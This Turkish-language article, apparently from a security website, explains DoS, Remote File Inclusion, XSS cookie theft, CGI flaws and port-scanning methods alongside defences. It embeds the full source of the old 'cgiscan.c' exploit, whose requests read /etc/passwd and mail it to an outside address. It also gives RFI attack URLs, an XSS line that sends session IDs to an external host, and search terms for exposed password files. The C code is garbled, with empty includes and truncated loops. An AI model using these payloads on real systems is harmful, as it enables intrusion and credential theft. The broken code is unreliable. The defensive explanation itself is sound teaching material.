İnternet Güvenliği


Çağımızın olmazsa olmazı arasına giren Internet, beraberinde bir çok tehlikeyi de getirmektedir. Bu tehlikeleri, Kredi Kartı bilgilerinin çalınması, Web Uygulamalarına ebedi olarak el konulması, e-Mail hesaplarının ele geçirilmesi, kişisel bilgilerin yayınlanması ...vs şeklinde sıralamak mümkün.

Peki bu tehlike unsurlarına karşı etkili çözümler nelerdir? Nasıl korunulur?

Öncelikli olarak kişisel bilgisayar güvenliği önemli. Kullanıcı kendi güvenliğini tam manasıyla sağladıktan sonra, gerisi sistem güvenirliğine kalmış bir olay. Sistem güvenirliği de gerekli yamalar, güvenlik önlemleri.. ile daha iyi bir duruma getirilebilir, her türlü saldırıya karşı donanımlı hale getirilebilir.

PC (Personal Computer) güvenliğinde en önemli madde bilinçli olmaktır. Kullanıcı bilinçli ise, sistem’in %90 ’ı güvendedir demektir. Şöyle ki, sistem hataları, güvenlik zafiyetleri belki fixlenebilir, lakin kullanıcı dikkatsizliği ve bilinçsizliği Sosyal Mühendislik sanatını iyi kullanan saldırganlara davetiye çıkarmakta, sistem ne kadar güvenli olsa bile, maalesef bu güvenlik devre dışı kalmaktadır. O yüzden ilk madde bilinçli olmaktır.

Internet ortamında, bilgisayarlar arası bağlantıda sürekli bir dosya paylaşımı vardır. Bu dosya paylaşımı sırasında, art niyetli kullanıcılar tarafından, virüs, trojan, worm, spy .. yollanabilmekte veya farklı amaçlar için kullanıcı bilgisayarları hacklenebilmektedir. Bunlara bilinçli ve dikkatli olmadan sonra gelebilecek en iyi çözüm iyi bir Firewall kullanmaktır. Sizin dikkatsizliğiniz anında, devreye Firewall güvenlik kalkanları girecektir. Bu sayede bilgisayarınızdaki veri alış-verişini görebilir, veri kontrolünü sağlayabilirsiniz..

Yukarıda saydıklarımıza ek olarak Domain Güvenliği kısmında anlatacağımız e-Mail Account güvenliği başlığı altında yer alacak olan maddeler de vardır.

Kendi güvenliğini sağlayan bir kullanıcı, internet ortamında oluşturduğu Web Uygulamalarını nasıl korumalıdır? Neler yapabilir?

Öncelikli olarak Web sitesi güvenliğinde (Host Güvenliği için), sisteminize karşı yapılabilecek saldırıları iyi bilmeniz gerekir. Bir saldırının boyutunu, verebileceği zararı ve mantığını anlamadan, bu saldırıya karşı çözüm üretemezsiniz...

Sisteme yapılabilecek en basit (görünen) saldırılardan biri olarak Denial Of Service (DOS) ve DDOS saldırılarını örnek verelim.

Denial Of Service (DOS) saldırıları diye nitelendirilen saldırı türü, sistem işleyişini engelleme, belirli verilere erişimi sağlama yerine yetkili kullanıcıların uygulamalara erişimini engelleyerek bilgi sistemleri kaynaklarını kilitler. Bu Attack türü ile sistemin sunduğu hizmet veya hizmetleri tamamiyle engelleyebilir ve devre dışı bırakabilir. Dos Attack işleyiş olarak, Attacker’ın çok büyük oranda karışık ve karşılanamaz verileri hedef sistem ağlarına veya bilgisayarlarına doğrudan göndermesini baz alır. Dos Attack yöntemini tehlikeli kılan yön ise çok eski tip makineler ve modemler ile çok karmaşık ve sofistike sistemleri devre dışı bırakmaktır.

DOS attacklar sadece e-ticaret ve web servislerine yapılmamaktadır. Bu saldırılardan routerlar, sanal özel ağlar(VPN) ve IRC sunucularıda etkilenmektedirler. Bir servis sağlayıcının router’ına yapılacak bir saldırı sonucu network trafiği altüst olabilir ve sonucunda da müşterilerinin bağlantıları kopabilir. Daha önce en büyük IRC ağlarından Undernet’in bazı önemli sunucuları DDoS yöntemiyle çökertilmişti. Saldırıda servis sağlayıcılar saniyede yüzlerce MB veri bombardımanına tutulmuştu..

Distributed Denial Of Service adını alan hizmet aksatmaya yönelik saldırı türünün DOS Attack’tan farkı, birden fazla noktadan tek bir merkeze yapılan sistem engelleme eylemidir. Şöyle ki; DOS saldırıları tek bir kaynaktan olup, herhangi hedef bir sisteme doğrudur. Ancak DDOS saldırılarında birden fazla makina tek bir hedefe focus olur. Bahsettiğimiz makina sayısı yüzlerce hatta binlerce olabilir. DDOS saldırılarının tehlikeli olmasının nedeni de bundan kaynaklanır.

Peki dev şirketlerin bile sistemlerini aciz bırakan bu saldırı türüne karşı alabileceğimiz önlemler nelerdir?

Yeterli Bant Genişliği sağlayabilirsiniz. Saldırılar bant genişliğine göre zarar verirler. Bant genişliği yeterli düzeyde olursa etkilenme azalacaktır.

Sisteminizi sürekli güncelleyin. Çünkü bu tür saldırılarda saldırı sırasında bir engelleme söz konusu olmayabilir. O yüzden saldırı öncesi hazırlık yapmanız gerekiyor.

İyi denebilecek düzeyde bir Firewall veya IDS (Saldırı Tespit Sistemi) kullanın. Bu sayede ağınızı gözetleyebilirsiniz (Çok sayıda SYN_RECV görmeniz sisteminizin DOS saldırısına maruz kaldığını gösterecektir.)

Saldırıya maruz kalan sistem ise, gelen bağlantıları reddetmelidir. Ancak zombie kullanılmış ise bu işe yaramayacaktır. Sistemi kapatmanız da Attacker’ın menfaatine olacaktır. Çünkü saldırgan zaten bunu hedeflemektedir. Bu yüzden en önemli güvenlik, saldırı öncesi hazırlıktır.

Bir başka etkili saldırı ise Remote File Include. Bu saldırının da en büyük etkisi ise, sunucu üzerindeki tüm sitelerin saldırı sonucu sömürülebilmesidir. Bu da saldırının ne derece tehlikeli olduğunu göstermektedir.

Remote File Inclusion (RFI), PHP ile kodlanmış sistemlerde, tecrübesiz webmaster’lar tarafından yapılan kodlama hatalarından faydalanılarak sisteme sızma yöntemidir. Bu saldırının verebileceği büyük zarar ise, RFI açığı olan site üzerinden, aynı serverda bulunan tüm sitelere sızılabilmesi. Bu yüzden bu güvenlik açığı, saldırganlar tarafından tercih edilen yöntemler arasına girmiştir.

Saldırganlar, RFI açığına rastladıkları sitede, açığı kullanarak web sayfa sunucusunun sağlamış olduğu diğer siteleri de sömürmek için ve server’daki diğer sitelere erişimi sağlayabilmek için Listpatch dediğimiz kod dizilimini kullanmaktadırlar. Listpatch’lerin upload edildiği URL’lerin, PHP ‘yi desteklemesi ve Listpacth içerisinde bulunan kodları compile etmemesi gerekiyor. Listpatch PHP destekli bir hosta (Örn:[url=http://hometown.aol.com]AOL Hometown[/url]) yüklendikten sonra, Attacker için tüm şartlar hazırlanmış demektir. Örnek bir RFI açığı barındıran site;

[url]http://www.example.com/path_to_qnews/q-news.php?id=Attacker[/url] List Patch]

[url]http://www.example.com/path_to_phpgreetz/content.php?content=[/url] [Attacker List Patch]

[url]http://www.example.com/PATH/admin/plog-adminfunctions.php?configbasedir=Attacker[/url] ListPatch]



Saldırıya karşı alınabilecek önlemler nelerdir? Nasıl Korunulabilir?

Bu saldırı temel olarak sistemde yapılan kodlama hatalarından kaynaklanmaktadır. O yüzden kodlama sürecinde yapılan hata olasılığı göz önüne alınarak, uygulama paylaşıma konulmadan önce yeniden check edilmelidir. Sizin sisteminizde bu açık yoksa bile, eğer sunucuda bu açığı barındıran herhangi bir site var ise, sunucu üzerinden sizin sitenize de ulaşılabilir, sizin host’unuz da hacklenme ile karşı karşıya gelebilir. O yüzden seçtiğiniz sunucuların da yeteri kadar güvende olduğundan emin olmalısınız.

Geçelim bir başka yönteme.. Son zamanlarda çok sık kullanılan ve genellikle Hotmail servisinde karşılaşılan Cross Site Scripting (XSS) Saldırılarının kullanılarak hack yapılması hatta bu yöntem ile Domain Reg. Mail (daha sonra değineceğiz) ‘in hacklenerek, Domain Hi-Jacking edilmesi, saldırıyı tehlikeli yapmaya yeterlidir.

XSS Saldırıları temel olarak Cookie’leri baz almaktadır. Cookie’ler, kendinize kişiselleştirmiş olduğunuz bir web-sayfasınız varsa veya bir ürün ya da servis için kayıt olmuşsanız, sizi bağlandığınız sisteme hatırlatarak zamandan tasarruf yapmanızı sağlar. Siteye yeniden girdiğinizde sistem daha önceden verdiğiniz cevapları hatırlar. Bilgileri değiştirdiğiniz zaman da, sistem sizi cookie ler sayesinde yeni halinizle hatırlar.

Browser’a yazılan bir siteye bağlandığınızda, bağlanacağınız sayfanın sunucusu, bilgisayarınızda kendi yazmış olduğu cookie’lerin olup olmadığına bakar. Eğer varsa, cookie’ler aracılığı ile size sabit bir ID atanır. Eğer sisteminizde, sunucuya ait cookie yoksa size ayrı bir SessionID atanır. Kaydettiği bu dosya hem sisteme, hem sizin bilgisayarınıza işlenir. Cookie’lerin formatı aşağıda verdiğimiz gibidir;



Domain : False : / : False : Bitiş Tarihi : Name : Value



Sırasıyla tanımları;



Domain: Cookie’yi sisteminize kaydeden Web sayfasının adını içerir.

False: Domainde bulunan tüm makinelerin değişkene erişim hakkının olup olmadığını

belirleyen bir bayraktır.

/ : URL’nin adresini gösterir.

False: SSL bağlantıları için kullanılır.

Bitiş Tarihi: Genellikle saniye cinsinde olup, çerezin bilgisayarınızdaki süresini belirler.

Name: Değişkenin adı

Value: Değişkenin değeri



Sistemlerin kodlanma sürecinde yapılan hatalar, sistemde bir takım zafiyetlere ve güvenlik açıklarına sebebiyet vermektedir. Attacker’lar bu sistem zafiyetlerinden faydalanarak sisteminizde kayıtlı olan cookie’leri kullanabilir, daha önceden girdiğiniz sitelere sizin adınıza bağlanabilir ve eğer site yöneticisiyseniz siteyi ele geçirebilir, istediğini yapabilir.

İşte bahsettiğimiz Cross Site Scripting saldırılarında, kodlanma sürecinde yapılan hatalardan faydalanılarak Cookie’ler çalınmaktadır. Kısaca Request ile kullanıcıdan alınan verilerin sayfa içerisinde yazdırılması ile oluşan Cross Site Scripting yani XSS açığıdır. Örneğin; QueryString ile alınan sayfa numaraları yada ilgili kaydı gösteren id değişkenleri;

[url]http://www.hedefsite/Default.Asp?Page=1[/url]

yada

[url]http://www.hedefsite/Product.Asp?id=1[/url]

[url]http://www.hedefsite/Default.Asp?Kategori=Haber[/url] gibi.

Attacker’lar, arama ve haber modüllerinde, profil panellerinde..vs bulunan bu sistem hatası sayesinde, modüllere ufak scriptler ekleyerek siteyi yönlendirebilir veya hata vermesine neden olabilir.

Ayrıca Attacker, HTML tabanlı bir e-posta içine veya hazırladığı web sayfasına özel bir URL gömerek hedef sistem yöneticisine yollayıp, bu URL’yi kendi bilgisayarında açmasını, dolayısıyla hedef, farkında olmadan SessionID’sini hedefin URL’de tanımadığı adrese gönderecektir. Örneğin; cyber-security.org’a üye olduğunuzu varsayalım. Bu siteye kullanıcı adınızla giriş yaptığınızda yeni bir session oluşturmuş oldunuz. Ve tam bu esnada size gelen bir e-posta’da ;

Document.write(\\\\\\\\\\\\\\\\\\’img src= "http://www.x-master">

yukarıdaki gibi bir link gördünüz ve farkında olmadan buna tıkladınız. Dolayısıyla siz bu linke tıklamakla farkında olmadan sessionID’nizi, x.master.biz’e göndermiş oluyorsunuz.

Cross Site Scripting saldırılarına karşı alınabilecek önlemler nelerdir peki?

Request ile alınan değerleri her zaman QueryString’de olsa Replace ile Aşağıdaki şekilde Temizleyin ve Request verilerini alırken mutlaka tam sayıya çevirin…

Recid = CInt(Trim(Server.HTMLEncode("Recid")))

Recid = Replace(Recid, "<" , "<") ’küçüktür

Recid = Replace(Recid, ">" , ">") ’büyüktür

Recid = Replace(Recide, "’" , "’") ’tek tırnak

Recid = Replace(Recid, Chr(10) , "") ’Satır Başı

Recid = Replace(Recid, Chr(34) , "") ’çift tırnak

* ASP.NET ’de

Web.config Dosyasında aşağıdaki değişikleri yaptığınızda " ’ " gibi karakterleri sistem

kendisi kontrol eder. Bu Sayede hemen hemen hiçbir XSS ve SQL Enjeksiyon teknikleri

etkili olmaz









IPS Kullanıyor iseniz, Yeni imza oluşturup;

Application Layer / HTTP / HTTP.URL_DECODED Protokolüne;


’ Tek Tırnak,

" Çift Tırnak

< Küçük

> Büyük

Karakterlerini ekleyerek XSS ve SQL Enjeksiyon Saldırılarını Direkt Engelleyebilirsiniz...

Kullanmış olduğunuz Script’lere karşı da Attacker’lar saldırı yapmaktan çekinmeyeceklerdir. O yüzden script güvenliği de büyük önem taşımaktadır. Örnek olarak CGI Script’ler’e değinecek olursak, başlı başına CGI Saldırıları adlı konuyu ele alabiliriz.

CGI (Common Gateway Interface), Web Servisleri ile bu servislerin dışındaki programlar arasında etkileşim (ortak çalışma) platformu oluşturmak için geliştirilmiş bir standarttır. CGI, aslında bir programdır. Web’in statik yapısına, HTML kodu içinden çağrılan CGI programları dinamik bir nitelik kazandırmaktadır. En popüler CGI uygulamalarından birisi Web Sayaçlarıdır. Web sayfalarını kaç kişinin ziyaret ettiğini saptayan küçük uygulamalar dış program olarak, bir web sayfası içinden çağrılabilir. CGI programları gerçek zamanlı çalışırlar. CGI’lerin önemli uygulama alanlarından birbaşkası da, web üzerinde doldurup gönderilen formlar üzerindeki bilgileri server tarafında değerlendirip kullanıcıya cevabı göndermektir.

CGI programları "çalıştırılabilir" kodlar olduğundan, bir başkası, kolaylıkla sizin sisteminizde program çalıştırabilir. Bu yüzden, CGI kodları sistemde özel yerlerde tutulur ve o sistemin görevlilerinin denetimi altındadır.

CGI programları herhangi bir dilde yazılabilir : C, Fortran, Pascal, C++, Perl, Unix Shell, Visual Basic vb. CGI eğer C ya da Fortran gibi bir dilde yazılırsa, derlenmelidir. Perl ya da Unix Shell gibi ortamlar ise script ortamlardır ve bu şekilde yazılmış CGI Script’ler doğrudan çalıştırılabilir.

Özellikle Java ve JavaScript kullanımlarının yaygınlaşması, CGI’nin ilk zamanlardaki popüleritesini azaltmıştır. Öte yandan, CGI programları/scriptleri, bulundukları sistemde saklıdırlar ve çalıştıklarında o sistemin kaynaklarını kullanırlar. Oysa Java Appletleri ve JavaScript, doğrudan HTML döküman içinde onu çağıran web listeleyicisine gelirler ve burada icra edilebilirler. Bu da, Java Applet ve JavaScript’in CGI’ye göre önemli bir avantajıdır.

C.G.I Scriptler Web sayfalarının, serverdaki executable (açılabilir) durumda olan dosyaları kullanabilmesini sağlayan basit araçlardır. Uzun zamandan beri Web sitelerinde bazı işleri yürütmek için kullanılan CGI Scriptlerin güvenirliği ise tartışılır durumda. Çünkü basit çaptaki CGI Scriptler güvenlik protokolleri gözden geçirilmeden hazırlanmıştır ve sitenizde kullanmanız güvenliğinizi tehlikeye düşürebilir. Şöyle ki; CGI açıklarından faydalanarak hedef siteler hack’lenebilir, hatta daha sonra sistemi re-hack etmek için backdoor dediğimiz arka kapılar bile bırakılabilir.

Bu saldırıya karşı alınabilecek önlemler ise ;

Attacker Scriptlerde bulunan açıkları gerek manuel yollarla gerekse de CGI Scanner’ları kullanarak öğrenebilir. Seçilecek olan Scanner’ın veritabanında tüm açıkları barındırması ve sürekli güncellenme özelliğine sahip olması gerekir. Çünkü bir Scanner veritabanında ne kadar çok sistem hatasından kaynaklanan açıkları barındırırsa Attacker’ın sisteme sızma şansı o kadar artacaktır.

Program dışı manuel olarak CGI Açıkları aramanın kolay bir yöntemi olarak da Google gibi gelişmiş craw’lerlara sahip olan sistemlerde " cgi-bin/password.txt, cgi-bin/ornek.pwd " gibi key-word’leri aratmaktır.

Ek olarak birçok CGI-Scanner’ı [url=http://packetstormsecurity.org/UNIX/cgi-scanners/].:[ packet storm ]:. - http://packetstormsecurity.org/[/url] adresinden indirebilirsiniz.

Ayrıca sisteminizde CGI açığı olup olmadığını anlayabilmek için Cgiscan.c exploitini kullanabilirsiniz. Exploitin kaynak kodlarını veriyoruz.



***********************************************************************

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define MAXSTR 12

main (int argc, char *argv[])

{

struct sockaddr_in sin;

/* int outsocket, serv_len, len,c,outfd; */

/* struct hostent *nametocheck; */

/* struct in_addr outgoing; */

struct hostent *hp;

char host[100], buffer[1024], hosta[1024],FileBuf[8097];

int sock, i=0, X;

char *stringhe[MAXSTR];

for(i=0;i
stringhe=(char *) malloc(sizeof(char)*100);

}


/* Classic PHF bug... It still Works! */


stringhe[0]="GET /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd\\\\\\\\\\\\\\\\\\n";


/* test-cgi bug, possible to view documents location */


stringhe[1]="GET /cgi-bin/test-cgi?*\\\\\\\\\\\\\\\\\\n";


/* htmlscript bug, a good language that can us have passwd */


stringhe[2]="GET /cgi-bin/htmlscript?../../../../etc/passwd\\\\\\\\\\\\\\\\\\n";


/* view-source bug, some httd use this... */


stringhe[3]="GET /cgi-bin/view-source?../../../../etc/passwd\\\\\\\\\\\\\\\\\\n";


/* Wrap allow you to have a directory listing on IRIX 6.2 systems */


stringhe[4]="GET /cgi-bin/wrap?/../../../../../etc\\\\\\\\\\\\\\\\\\n";


/* Campas allow you to get the passwd on NCSA server 1.2 */


stringhe[5]="GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a\\\\\\\\\\\\\\\\\\n";


/* With pfdisplay & webdist is possible to get the passwd on IRIX 6.2 systems */


stringhe[6]="GET /cgi-bin/pfdisplay.cgi?/../../../../etc/passwd\\\\\\\\\\\\\\\\\\n";


stringhe[7]="GET /cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd\\\\\\\\\\\\\\\\\\n";

/* With aglimpse is possible to mail the password file anywhere */


stringhe[8]="GET /cgi-bin/aglimpse/80|IFS=5;CMD=5mail5dashie\\\\\\\\\\\\\\\\\\@cyberdude.com\\\\\\\\\\\\\\\\\\

/* An interesting variant for phf*/

stringhe[9]="GET /cgi-bin/phf?Qalias=x%0a/usr/bin/ypcat%20passwd\\\\\\\\\\\\\\\\\\n";

stringhe[10]="GET /cgi-bin/php.cgi?/etc/passwd\\\\\\\\\\\\\\\\\\n";

/* a new test-cgi but the bug is the same */

stringhe[11]="GET /cgi-bin/nph-test-cgi?*\\\\\\\\\\\\\\\\\\n";


while(fgets(hosta,100,stdin))

{

if(hosta[0] == ’\\\\\\\\\\\\\\\\\\0’)

break;

hosta[strlen(hosta) -1] = ’\\\\\\\\\\\\\\\\\\0’;

write(1,hosta,strlen(hosta)*sizeof(char));

write(1,"\\\\\\\\\\\\\\\\\\n",sizeof(char));


hp = gethostbyname (hosta);

for(i=0;i
bzero((char*) &sin, sizeof(sin));

bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);

sin.sin_family = hp->h_addrtype;

sin.sin_port = htons(80);

sock = socket(AF_INET, SOCK_STREAM, 0);

X=connect(sock,(struct sockaddr *) &sin, sizeof(sin));

write(sock,stringhe,strlen(stringhe)*sizeof(char));

while((X=read(sock,FileBuf,8096))!=0)

write(1,FileBuf,X);


}

}

printf("\\\\\\\\\\\\\\\\\\nScacco&Dark Schneider - S0ft Pr0ject 98");

}

***********************************************************************


Web uygulamalarının güvenliğinde en önemli nokta sunucu güvenliğidir. Unutmayınız ki, sunucu güvenli olmadığı takdirde sizin siteniz ve uygulamanız ne kadar güvenli olursa olsun, sitenin hack’lenmesine engel olamayacaktır. Örnek olarak;

Sisteminizi hedefleyen bir saldırganın, sitenizde açık bulamadığını varsayalım. Saldırgan bu aşamadan sonra sunucuyu incelemeye çalışacaktır. Sunucu üzerinde bulduğu her açıktan/hatadan faydalanacaktır. Örnek olarak sunucunun port durumunu kontrol edecektir.

Bir sistemin taranması, temel olarak hedef konumunda bulunan ağda bulunan bileşenleri ve bu bileşenlere yetkisiz olarak erişim hakkına sahip olmak için yapılmaktadır. Tarama,aktif sistemlerin belirlenmesi, işletim sistemlerinin saptanması ve bu bileşenlerin hedef ağdaki lokasyonunun belirlenmesi gibi basamaklardan oluşur.

İlerleyen teknolojinin ürünü olarak birçok işletim sisteminde birden fazla program aynı anda çalışmakta ve çalışan bu programlardan bazıları da dışardan gelen request (istek)’lere açık olmaktadırlar. Uygun görülen request’lere response (cevap) vermektedir.

Sunucu programları çalışan bilgisayarlara verilen IP adresleri ile istenilen bilgisayarlara ulaşılır. Ulaşılan bilgisayarlar üzerindeki hangi sunucu programdan hizmet almak istendiğini belirlemek ise port’lar aracılığıyla sağlanır. Bu işlemi sağlayabilmek için bilgisayarlar üzerinde sanal bağlantı noktaları oluşturulur ve her bağlantı noktasını adresleyebilmek için Port numarası dediğimiz pozitif rakamlar verilir. Port numaraları 2 byte olarak tutulur. 1024’ten küçük olan port numaraları Root dediğimiz özel yetkilere sahip kullanıcılar tarafından kullanılır. Büyük olanlar ise normal kullanıcılar tarafından kullanılmaktadır.

Port kavramını öğrendikten sonra Attacker’ların, Port’lardan faydalanma eylemine değinelim.

Attacker sistem hakkında yeteri kadar veri topladıktan sonra yapacağı ise hedef sistemin TCP veya UDP Portlarına bağlanarak hangi port’un açık olduğunu belirlemek veya hangi port’un dinleme durumunda olduğunu saptamaktır. Yani Port Taraması yapmaktır.

İlk önce de dediğimiz gibi, saldırı bilmeden saldırıya karşı çözüm üretilemez. Port Tarama Nasıl Yapılır?

TCP Connect Scan

Transmission Control Protokol (TCP), bilgisayarlar ile veri iletme ve alma birimleri arasındaki iletişimi sağlayan, bu yolla veri transferini mümkün kılan yapıdır.

TCP’nin İşleyişi: TCP Oturumu öncelikli olarak bir sunucudan servis ister, diğer istemci ise response olarak (eğer bağlantı isteği kabul edilirse) SYN Flag (SYN Bayrağı) ’ı kalkık paketini sunucu bilgisayara iletir. Paketi alan sunucu ise, gönderene response olarak SYN Paketini aldığını ve bağlantı request’ini onayladığını göstermek için SYN Bayrağı kaldırılmış (set) paketi yani SYN-ACK Paketini istemci bilgisayara gönderir. Son aşamada ise sunucu makinenin gönderdiği SYN-ACK paketini alan istemci bilgisayar sunucuya ACK paketini göndererek yollanan paketi aldığını bildirir.

Bahsi geçen tarama yöntemi yani TCP Connect Scan işlemi ise anlattığımız oturum açma işlemini gerçekleştirir ve oturum açıldığı zaman bağlantıyı keserek bize portun durumunu, açık veya kapalı olduğunu gösterir.

Yalnız Attacker bu yöntemi zor durumda kalmadığı zaman yapmaz. Çünkü oturum açma isteği gönderildikten ve bu işlem gerçekleştikten sonra isteği gönderen cihazın IP Adresi kaydedilir. Ama zorunlu durumlarda ve hedef sistemin portunun kesin bir şekilde açık veya kapalı olarak öğrenilmek istenmesi durumunda bu yol garantidir.

TCP SYN SCAN

TCP Connect Scan işleminde, bu yolun riskli olduğunu çünkü IP Paketlerinin loglandığını söylemiştik. Loglama işlemi, istemci bilgisayarın Oturum açtığı anda olur. Oturum açılırsa log tutulur.

TCP SYN Scan yarı-açık tarama olarak da bilinir. Bu tabirin bahsi geçen tarama yöntemine uygun görülmesinin nedeni ise, TCP Connect Scan’deki gibi tam olarak oturum açmamasından dolayıdır. TCP SYN Scan SYN bayraklı paketi gönderir ve SYN/ACK bayraklı paketi alır. Oturum açmayı ise RST/ACK bayraklı bir paket göndererek reddeder.

Eğer hedef port açık ise SYNC/ACK paketi gelir. Oturum açılmadığından dolayı da loglanma ihtimali ortadan kalkar.

TCP FIN Scan

TCP Connect ve TCP Syn Scan işlemlerinde oturum açma işlevlerine değindik. TCP FIN Scan’de ise Oturum açılmadan hedef portların açık veya kapalı olma durumları öğrenilir.

TCP FIN Scan’de hedef portlara FIN Paketleri gönderilir. *RFC793 ‘ e göre kapalı durumda olan bir port, bağlantı durumu söz konusu olmadan aldığı FIN paketine, RST Paketiyle cevap verir. Yani hedef porta gönderdiğimiz FIN Paketlerine eğer cevap gelirse port kapalıdır, eğer cevap gelirse port açıktır.

SYN/FIN Scannig Using IP Fragments

Bu tarama yöntemi SYN ve FIN Tarama yöntemlerinin daha gelişmiş bir türüdürdiyebiliriz. Bu tarama yönteminde herhangi bir paket gönderilmez. Hedef porta paketleri daha küçük IP Fragmenti olarak gönderilir. Bu işlem Attacker’ın yaptığı işin anlaşılmasına engel olmak içindir.

TCP Xmas Tree Scan

Bu tarama yöntemi TCP SYN taramasına benzer. Hedef porta FIN (No More Data From Sender), URG (Urgent Pointer Field Significant) ve PUSH (Push Function) bayraklı paketler gönderir ve kapalı olan portalardan RST cevabı beklenir. Eğer cevap gelmezse hedef portlar açıktır. (RFC793’e göre / [url]http://www.ietf.org/rfc/rfc0793.txt[/url])

TCP Null Scan

Daha önceki tarama yöntemlerinde paketler veya IP Fragment göndererek port’ların açık ve kapalılık durumlarını öğrenmiştik. Bu tarama yönteminde ise TCP Xmas Tree’nin tam tersine bayrak taşımayan bir paket gönderilir. Daha öncede belirttiğimiz gibi RFC793’e göre kapalı durumlardaki portlardan RST cevabı gelir. Eğer cevap gelmezse hedef port açıktır.

TCP ACK Scan

Bu tarama yönteminde Attacker, eğer hedef Firewall kullanıyorsa kullandığı Firewall’u bypass etme ve hedef portların açık ve kapalılık durumlarını öğrenebilir.

TCP ACK Scan’in genel mantığı statik veya dinamik paket filtrelemede firewall’ların bağlantıyı ilk başlatan tarafı hatırlayamamasıdır. Bazı firewall’lar onaylanmış olan bağlantılara izin verir ve ACK (Acknowledgment Field Significant) paketinin Firewall’lardan veya Router’lardan engellenmeden geçmesi mümkün kılınabilir, hedef portlar firewall’a rağmen taranabilir.

TCP FTP Proxy (Bounce Attack) Scan

Bu tarama yöntemi FTP Proxy’lerin Bounce adını verdiğimiz özelliğinden faydalanır. RFC959 tanımına göre, FTP Protokolünün Proxy FTP bağlantısına izin verir. Bu bağlantı sayesinde server-PI (Protocol Interpreter)’e ağdaki herhangi bir yere dosya yollayabilecek server-DTP (Data Transfer Process) isteği aktif edilebilir. Bu açık özellikle firewall arkasında bağlı bulunan bir FTP’ye bağlandığımız zaman sunucuya kendi port’larını taratması sağlandığı için çok tehlikeli bir tarama türüdür. Çünkü Firewall bypass edilmiş olur.

TCP Windows Scan

TCP ACK taramasına benzer. Bu tarama türü TCP Windows Size’dan kaynaklanan hataları baz alarak bazı işletim sistemlerinde portların açık ve kapalılık durumunu ya da filtreli olma durumlarını kontrol eder.

TCP RPC Scan

Bu tarama yöntemi ile Remote Procedure Call (RPC-Uzak İşlem Çağrıları) port’larından aktif halde çalışan işlemleri ve sürümleri öğrenebiliriz. Eğer sistemde çalışan RPC’ler ile ilgili hata ve aksaklıklar mevcut ise bunlar Attacker için sisteme girmek için bir yoldur. (Sadece Unix tabanlı sistemlerde mevcuttur)

UDP Scan

Daha önceki tarama yöntemleri (RPC Scan Hariç) TCP tabanlı idi. TCP tabanlı taramalarda, sıra numaraları, kod bitler dediğimiz yapılar vardı. Ancak UDP’de böyle bir şey mevcut değildir. UDP ’de paketler direk gönderilir ve kaybolan paketlerin yenisi gönderilmez.

Bu yöntem hedef sisteme UDP Paketlerini gönderme işlemini baz alır. Eğer gönderilen UDP Paketlerine response olarak "ICMP Port Unreachable" mesajı alınırsa port kapalıdır demektir. Eğer bu responsa alınmazsa port’un açık olduğu anlaşılır. Bu işlemleri yaparken acele etmemek gerekir. Çünkü bant genişliği probleminden dolayı gelmesi gereken mesaj paketi gecikebilir. Ve eğer ivedi davranılırsa port’un açık olduğu o nedenle cevap gelmediği düşünülebilir. Ama port açıktır ve bu hatadan dolayı Attacker amacına ulaşamayabilir.

Ident Scan

Ident Protokolü RFC1413’te tanımlanmış bir protokoldür.Bu tarama hedef sistem üzerinde eğer Identd aktif olarak bulunuyorsa, sistemde çalışır vaziyette olan servislerin listesine ve bu servisleri çalıştıran kullanıcı isimlerine ulaşmak için yapılır. Eğer Identd aktif değilse bu tarama türü işe yaramayacaktır.

Tüm bunlara karşı sunucu güvenliği nasıl sağlanacak?

Port Tarama yönteminden korunma bir IDS Sistemi ile engellenebilir. Veya IPTables’da Burst/Burst-Rate gibi bir limitasyonla engellenir. Şöyle ki; bir kaynak IP adresinden bir noktaya belirli bir "t" süresi dahilinde gelen SYN paketlerini sayan ve anormal sayıda aynı adrese connection kurmaya çalışan ya da birden fazla porta "t SYN "paketi gönderen IP Adresleri otomatik olarak bloke edilir. Bu teknik engellemekteden daha ziyade artificial-intelligiance ile gerçekleştirilebilen bir savunma yöntemidir.

Port taramasından korunmak için kullanılan bir başka yöntem ise Firewall dediğimiz Güvenlik Duvarlarının kullanımıdır. Piyasada bulunan Firewall’ların çoğu Port taramalarını engelleyebilme özelliğine sahiptir. Hatta Nmap’in yaptığı gizli port taramalarını bile yakalayabilme kabiliyetine mevcut Firewall’lar vardır. Tavsiye edebileceğimiz Firewall’lar; hem güvenlik duvarı hem de saldırı tespit sistemi olan Zone Alarm

([url=http://www.zonelabs.com]ZoneAlarm by Check Point - Award winning PC Protection, Antivirus, Firewall, Anti-Spyware, Identity Protection, and much more.[/url]), IIS net firmasının Windows tabanlı saldırı tespit programı olarak yazdığı BlackICE ([url=http://www.blackice.iss.net/index.php]IBM Internet Security Systems - BlackICE[/url]) ‘tır.

Yöntemler daha fazla sıralanabilir, lakin en sık karşılaşılan hack’lenme vakaları bu saldırılardan yana olmaktadır. Daha fazla detay için sitemde bulunan makalelerden faydalanabilirsiniz. (x-Master.biz > Makalelerim Modülü // x-Master – Cyber Warrior TIM)

Bunlar haricinde bir de Domain Güvenliğinden bahsetmemiz gerekiyor.

Alan adı veya kısaca Domain, internette varolmak için başvurduğunuzda size verilen Internet Protokol adresinin bir görüntüsüdür. Diğer bilgisayarlar ile connection kurabilmek için bağlantıyı kuracak olan bilgisayarların IP adreslerinin tanımlanmış olması gerekir. Yani Internet ortamındaki bilgisayarlar ile iletişiminiz, size tayin edilen IP adresleri ile sağlanır.

Bir kullanıcının, şirketinizin veya herhangi bir kurumun Web adresine girmek isteyen kullanıcının, şirkete tayin edilmiş olan IP adresini browser’a yazması gerekir. IP adreslerinin zihinde tutulması güç olduğundan dolayı, her IP adresine farklı bir alan adı tayin edilir. Tayin edilen bu alan adları domain adını alır. Bu sayede Browser’a girilecek olan web sayfasının IP adresi yerine, alan adı yazılarak girilir. İşte bu alan adları da domain adını alır.

Hedef olarak seçilen bir sistemi tamamen ele geçirmenin en sağlam yolu Domain Hack’tir. Sisteminizi hedefleyen bir saldırgan, öncelikli olarak Whois Sorgulaması yapacaktır. Whois sorgulamasında Domain Registration Maili, irtibat Adresleri, gerçek e-Mail adresi, DNS bilgileri...vs gibi detayları görecektir. İşin kilit noktası da burasıdır.

